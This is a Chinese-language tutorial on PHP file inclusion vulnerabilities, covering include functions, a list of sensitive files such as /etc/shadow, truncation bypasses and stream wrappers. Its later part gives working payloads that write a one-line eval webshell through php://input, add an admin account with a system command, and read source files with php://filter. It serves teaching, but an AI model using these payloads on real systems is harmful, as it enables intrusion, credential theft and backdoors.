文件包含漏洞
开发人员一般会把重复使用的函数写道单个文件中、需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
原理
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行非预期的代码。从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
1 |
|
常用函数
require()
只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
require_once()
include()
执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
include_once()
条件
- 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
- 用户能够控制该动态变量
- php.ini配置文件:allow_url_fopen和allow_url_include为On
注意
- php中只要文件内容符合php语法规范,包含时不管扩展名是什么都会被php解析
- 若文件内容不符合php语法规范则会暴露其源码
- php.ini配置文件只有开启了allow_url_fopen才可以包含文件
分类
- 本地包含
- 可以包含本地文件,在条件允许时甚至能执行代码
- 读敏感文件,读php文件
- 包含日志文件GetShell
- 包含data:或php://input等伪协议
- 若有phpinfo则可以包含临时文件
- 配合上传图片马,然后包含从而GetShell
- 远程文件包含
- 包含远程的木马或病毒文件,从而GetShell
案例
1 | #index.php |
1 | #LFI.php |
1 | #info.php |
本地文件包含的过程
- 首先让page=LFI.php文件
- page的值传给遍历filename
- include包含这个变量
- 网页便包含了这个文件
常见敏感文件
windows
- c:/windows/system32/inetsrv/MetaBase.xml //IIS配置文件
- c:/windows/repair/sam //存储系统初次安装的密码
- c:/ProgramFiles/mysql/my.ini //MySQL配置
- c:/ProgramFile/mysql/data/mysql/user.MYD //MySQL root
- c:/windows/php.ini //php配置信息
- c:/windows/my.ini
linux
- /etc/passwd //账户信息
- /etc/shadow //账户密码文件
- /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
- /etc/httpd/conf/httpd.conf
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
- /usr/local/app/php5/lib/php.ini //php相关配置
- /etc/my.conf //MySQL配置文件
绕过
1 |
|
%00截断
php的00截断是5.2x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
条件
- allow_url_fopen=on
- magic_quotes_gpc=off
- php版本<5.3.4
…………*n绕过(点号截断)
原理
windows下目录最大长度为256字节,超出部分会被丢弃
Linux下目录最大长度为4096字节,超出部分会被丢弃。
所以用………绕过的时候windows系统中,点号需要长于256,Linux系统中点号要长于4096.
长路径截断
条件
windows系统下,目录最大长度为256字节,超出的部分会被丢弃,路径需要长于256字节
Linux系统下需要4096.
文件包含php封装协议
封装:
封装是php面向对象的其中一个特性,将多个可重复使用的函数封装到一个类里面。在使用时直接实例化该类的某一个方法,获得需要的数据。
php带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册自定义的封装协议。
协议类型
- file:// 访问本地文件系统
- http:// 访问http(s)网址
- ftp:// 访问FTP(s) URLs
- php:// 访问各个输入输出流
- ssh2:// Secure Sehll 2
- rar:// rar
- zlib:// 压缩流
- data:// 数据(RFC 2397)
- glob:// 查找匹配的文件路径模式
- phar:// php归档
- ogg:// 音频流
- expect:// 处理交互式的流
开启文件包含功能的条件
/etc/php.ini
- allow_url_fopen: on(默认开启)
- allow_url_include: on(默认关闭)
php://协议
- php://stdin 只读协议
- php://stderr只写协议
php://input协议
利用文件包含漏洞的时候经常会碰到file_get_contents()函数,这个函数的作用是把整个文件读入一个字符串中
用法
1
2
3
echo file_get_contents("php://input");
fopen()函数
php://input 只能够获取POST参数中的数据,而真正能够创建文件和把数据写入文件的函数时fopen()函数和fputs()函数
fopen()函数时用来打开文件,如果打开失败则返回false
语法:fopen(filename,mode,include_path,context)
参数 描述 filename 必需,规定打开的文件url mode 必需,规定要求到该文件/流的访问类型,可能的值见下表 include_path 可选,如果也需要在include_path中检索文件的话,可以将该参数设为1或true context 可选,规定文件句柄的环境,context是可以修改流的行为的一套选项 fopen()将filename指定的名字资源绑定到一个流上。如果filename是”scheme://…”的格式,则被当成是一个URL,php将搜索协议处理器来处理此模式。如果该协议尚未注册封装协议,php将发出一条消息来帮助检查脚本中潜在的问题并将filename当成一个普通的文件名执行下去。
如果php认为filename指定的是一个本地文件,将尝试在该文件上打开一个流。该文件必须是php可以访问的,因此需要确认文件访问权限允许该访问,如果激活了安全模式或者open_basedir则会应用进一步的限制。
如果php认为filename指定的是一个已注册的协议,而该协议被注册为一个网络URL,php将检查并确认allow_url_fopen已被激活.如果关闭了,php将发出一个警告,而fopen的调用则失败。
例如:fopen(“abc.php”,”w”)
以写入的方式打开一个”ak.txt”文件,如果没有此文件便创建一个。
fputs()
fputs()函数的作用是写入文件(课安全的用于二进制文件),它是fwrite()函数的别名。
语法:fputs(file,string,length)
参数 描述 file 必需,规定要写入的打开文件 string 必需,规定要吸入文件的字符串 length 可选,规定要写入的最大字节数
1
2
3
4
5
$file = fopen("shell.php","w");
echo fputs($file,"Hello World!!!");
fclose($file);php://input 搭配fputs()写入文件
?page=php://input
bp抓包,再写入post参数
1
2fupts(fopen('any.txt',"w"),'hello any');
;写入一句话木马
1
2
3```php
fputs(fopen("shell.php","w"),"<?php @eval($_POST[1]);?>");执行命令
1
system("net user admin admin /add");
php://filter
- 最常用的一个伪协议,一般用来进行任意文件读取
- 用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
- 使用条件:只是读取,需要开启allow_url_fopen,不需要开启allow_url_include;
php://filter目标使用以下的参数作为它路径的一部分;
复合过滤链能够再一个路径上指定,详细使用这些参数可以参考具体范例。
名称 描述 resource=<要过滤的数据流> 指定流你要筛选过滤的数据流 read=<读链的筛选列表> 可以设定一个或多个过滤器名称,管道符||分隔 write=<写链的筛选列表> 可以设定一个或多个过滤器名称,管道符||分隔 <;两个链的筛选列表> 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链